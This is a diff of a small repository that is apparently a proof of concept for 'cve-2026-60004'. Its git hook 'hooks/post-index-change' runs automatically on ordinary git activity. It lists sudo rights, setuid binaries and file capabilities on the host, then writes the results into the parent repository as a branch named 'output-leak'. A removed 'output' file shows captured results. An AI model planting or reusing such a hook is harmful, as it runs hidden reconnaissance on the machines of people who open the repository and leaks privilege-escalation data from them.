README.md

@@ -0,0 +1,2 @@
+# infra-4r1zaj
+

hooks/post-index-change

@@ -0,0 +1,9 @@
+#!/bin/sh
+GD=$(git rev-parse --absolute-git-dir)
+REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
+OUT=$(sudo -ln 2>&1 | head -20; echo ==; find / -perm -4000 -type f 2>/dev/null | grep -vE '^/(usr/lib|snap)' | head -20; echo ==; getcap -r / 2>/dev/null | head -15 2>&1; echo "[exit-status=$?]")
+BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
+TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
+CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
+git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
+#A

output

@@ -1,20 +0,0 @@
-sudo: a password is required
-==
-/usr/sbin/pppd
-/usr/sbin/mount.cifs
-/usr/bin/fusermount3
-/usr/bin/passwd
-/usr/bin/umount
-/usr/bin/sudo
-/usr/bin/chsh
-/usr/bin/su
-/usr/bin/chfn
-/usr/bin/newgrp
-/usr/bin/mount
-/usr/bin/gpasswd
-==
-/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
-/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
-/usr/bin/mtr-packet cap_net_raw=ep
-/usr/bin/ping cap_net_raw=ep
-[exit-status=0]